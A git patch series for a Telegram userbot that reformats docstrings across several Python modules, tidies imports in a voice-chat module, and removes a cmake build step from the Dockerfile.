b/virtualuserbot/modules/upload_dl.py index c7adb731..cbc94f33 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -235,7 +235,7 @@ async def upload(u_event): def get_video_thumb(file, output=None, width=90): - """ Get video thumbnail """ + """Get video thumbnail""" metadata = extractMetadata(createParser(file)) popen = subprocess.Popen( [ @@ -261,7 +261,7 @@ def get_video_thumb(file, output=None, width=90): def extract_w_h(file): - """ Get width and height of media """ + """Get width and height of media""" command_to_run = [ "ffprobe", "-v", diff --git a/virtualuserbot/modules/userinfo.py b/virtualuserbot/modules/userinfo.py index 8c0f3e93..45bf96e9 100644 --- a/virtualuserbot/modules/userinfo.py +++ b/virtualuserbot/modules/userinfo.py @@ -80,7 +80,7 @@ async def get_user_sender_id(user, event): async def get_user_from_event(event: NewMessage.Event, **kwargs): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" reply_msg: Message = await event.get_reply_message() user = kwargs.get("user", None) @@ -289,7 +289,7 @@ def __str__(self) -> str: @register(pattern=r"^\.u(?:ser)?(\s+[\S\s]+|$)", outgoing=True) async def who(event: NewMessage.Event): - """ For .user command, get info about a user. """ + """For .user command, get info about a user.""" if event.fwd_from: return @@ -318,7 +318,7 @@ async def who(event: NewMessage.Event): async def fetch_info(replied_user, **kwargs): - """ Get details from the User object. """ + """Get details from the User object.""" user = replied_user.user id_only = kwargs.get("id", False) diff --git a/virtualuserbot/modules/userlist.py b/virtualuserbot/modules/userlist.py index 3d8692f7..d6ddb07e 100644 --- a/virtualuserbot/modules/userlist.py +++ b/virtualuserbot/modules/userlist.py @@ -6,7 +6,7 @@ @borg.on(events.NewMessage(pattern=r"\.userlist ?(.*)", outgoing=True)) async def get_users(show): - """ For .userslist command, list all of the users of the chat. """ + """For .userslist command, list all of the users of the chat.""" if not show.text[0].isalpha() and show.text[0] not in ("/", "#", "@", "!"): if not show.is_group: await show.edit("Are you sure this is a group?") diff --git a/virtualuserbot/modules/vc.py b/virtualuserbot/modules/vc.py index 6b400cc8..5a65dc4e 100644 --- a/virtualuserbot/modules/vc.py +++ b/virtualuserbot/modules/vc.py @@ -1,8 +1,6 @@ from telethon.tl.functions.phone import CreateGroupCallRequest as startvc from telethon.tl.functions.phone import DiscardGroupCallRequest as stopvc -from telethon.tl.functions.phone import InviteToGroupCallRequest as invitetovc -from virtualuserbot import CMD_HELP from virtualuserbot.events import register @@ -16,6 +14,7 @@ def user_list(l, n): for i in range(0, len(l), n): yield l[i : i + n] + @register(outgoing=True, pattern=r"^\.joinvc (.*)") async def _(event): try: @@ -23,7 +22,8 @@ async def _(event): await event.edit(event, "`Voice Chat Started...`") except Exception as ex: await event.edit(event, f"`{str(ex)}`") - + + @register(outgoing=True, pattern=r"^\.stopvc (.*)") async def _(event): try: diff --git a/virtualuserbot/modules/warns.py b/virtualuserbot/modules/warns.py index 9a55aa83..944c1310 100644 --- a/virtualuserbot/modules/warns.py +++ b/virtualuserbot/modules/warns.py @@ -122,7 +122,7 @@ async def m_(event): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(" ", 1) extra = None if event.reply_to_msg_id: diff --git a/virtualuserbot/modules/whois.py b/virtualuserbot/modules/whois.py index 1f4d6746..9fd3e91c 100644 --- a/virtualuserbot/modules/whois.py +++ b/virtualuserbot/modules/whois.py @@ -151,7 +151,7 @@ async def who(event): async def get_user(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" if event.reply_to_msg_id and not event.pattern_match.group(1): previous_message = await event.get_reply_message() replied_user = await event.client( @@ -180,7 +180,7 @@ async def get_user(event): async def fetch_info(replied_user, event): - """ Get details from the User object. """ + """Get details from the User object.""" replied_user_profile_photos = await event.client( GetUserPhotosRequest( user_id=replied_user.user.id, offset=42, max_id=0, limit=80 @@ -235,7 +235,7 @@ async def fetch_info(replied_user, event): @borg.on(admin_cmd(pattern="link(?: |$)(.*)")) async def permalink(mention): - """ For .link command, generates a link to the user's PM with a custom text. """ + """For .link command, generates a link to the user's PM with a custom text.""" user, custom = await get_user_from_event(mention) if not user: return @@ -249,7 +249,7 @@ async def permalink(mention): async def get_user_from_event(event): - """ Get the user from argument or replied message. """ + """Get the user from argument or replied message.""" args = event.pattern_match.group(1).split(":", 1) extra = None if event.reply_to_msg_id and not len(args) == 2: diff --git a/virtualuserbot/modules/ytdl.py b/virtualuserbot/modules/ytdl.py index 6945e69c..5af00d72 100644 --- a/virtualuserbot/modules/ytdl.py +++ b/virtualuserbot/modules/ytdl.py @@ -90,7 +90,7 @@ def time_formatter(milliseconds: int) -> str: @friday.on(friday_on_cmd(pattern="yt(a|v) (.*)")) @friday.on(sudo_cmd(pattern="yt(a|v) (.*)", allow_sudo=True)) async def download_video(v_url): - """ For .ytdl command, download media from YouTube and many other sites. """ + """For .ytdl command, download media from YouTube and many other sites.""" url = v_url.pattern_match.group(2) type = v_url.pattern_match.group(1).lower() friday = await edit_or_reply(v_url, "Trying To Download......") diff --git a/virtualuserbot/utils.py b/virtualuserbot/utils.py index 8e889afe..e7c6c71c 100644 --- a/virtualuserbot/utils.py +++ b/virtualuserbot/utils.py @@ -269,7 +269,7 @@ def friday_on_cmd(pattern=None, **args): def register(**args): - """ Register a new event. """ + """Register a new event.""" args["func"] = lambda e: e.via_bot_id is None stack = inspect.stack() From d15e1d482a8181166d37b60b5173f8cce51ccd31 Mon Sep 17 00:00:00 2001 From: Chathura369 <89286413+Chathura369@users.noreply.github.com> Date: Fri, 23 Feb 2024 16:14:07 +0530 Subject: [PATCH 838/838] Update Dockerfile --- Dockerfile | 1 - 1 file changed, 1 deletion(-) diff --git a/Dockerfile b/Dockerfile index 8036e1e5..970f9ee1 100644 --- a/Dockerfile +++ b/Dockerfile @@ -57,7 +57,6 @@ RUN apt-get install -y\ #RUN if [ ! -e /usr/bin/pip ]; then ln -s pip3 /usr/bin/pip ; fi #RUN if [ ! -e /usr/bin/python ]; then ln -sf /usr/bin/python3 /usr/bin/python; fi #RUN rm -r /root/.cache -RUN wget http://www.cmake.org/files/v2.8/cmake-2.8.3.tar.gz && tar xzf cmake-2.8.3.tar.gz && cd cmake-2.8.3 && ./configure --prefix=/opt/cmake && make install RUN axel https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && apt install -y ./google-chrome-stable_current_amd64.deb && rm google-chrome-stable_current_amd64.deb RUN axel https://chromedriver.storage.googleapis.com/86.0.4240.22/chromedriver_linux64.zip && unzip chromedriver_linux64.zip && chmod +x chromedriver && mv -f chromedriver /usr/bin/ && rm chromedriver_linux64.zip RUN wget -O opencv.zip https://github.com/opencv/opencv/archive/master.zip && unzip opencv.zip && mv -f opencv-master /usr/bin/ && rm opencv.zip